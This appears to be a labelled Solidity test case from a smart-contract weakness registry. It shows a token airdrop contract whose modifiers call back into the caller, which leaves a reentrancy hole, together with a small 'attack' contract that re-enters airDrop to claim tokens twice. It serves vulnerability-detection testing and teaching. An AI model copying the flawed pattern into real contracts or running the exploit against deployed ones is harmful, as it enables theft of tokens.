50 lines
1.4 KiB
Solidity
50 lines
1.4 KiB
Solidity
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/*
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* @source: https://github.com/SmartContractSecurity/SWC-registry/blob/master/test_cases/reentracy/modifier_reentrancy.sol
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* @author: -
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* @vulnerable_at_lines: 15
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*/
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pragma solidity ^0.4.24;
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contract ModifierEntrancy {
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mapping (address => uint) public tokenBalance;
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string constant name = "Nu Token";
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//If a contract has a zero balance and supports the token give them some token
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// <yes> <report> REENTRANCY
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function airDrop() hasNoBalance supportsToken public{
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tokenBalance[msg.sender] += 20;
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}
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//Checks that the contract responds the way we want
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modifier supportsToken() {
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require(keccak256(abi.encodePacked("Nu Token")) == Bank(msg.sender).supportsToken());
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_;
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}
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//Checks that the caller has a zero balance
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modifier hasNoBalance {
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require(tokenBalance[msg.sender] == 0);
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_;
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}
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}
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contract Bank{
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function supportsToken() external pure returns(bytes32){
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return(keccak256(abi.encodePacked("Nu Token")));
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}
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}
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contract attack{ //An example of a contract that breaks the contract above.
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bool hasBeenCalled;
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function supportsToken() external returns(bytes32){
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if(!hasBeenCalled){
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hasBeenCalled = true;
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ModifierEntrancy(msg.sender).airDrop();
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}
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return(keccak256(abi.encodePacked("Nu Token")));
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}
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function call(address token) public{
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ModifierEntrancy(token).airDrop();
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}
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}
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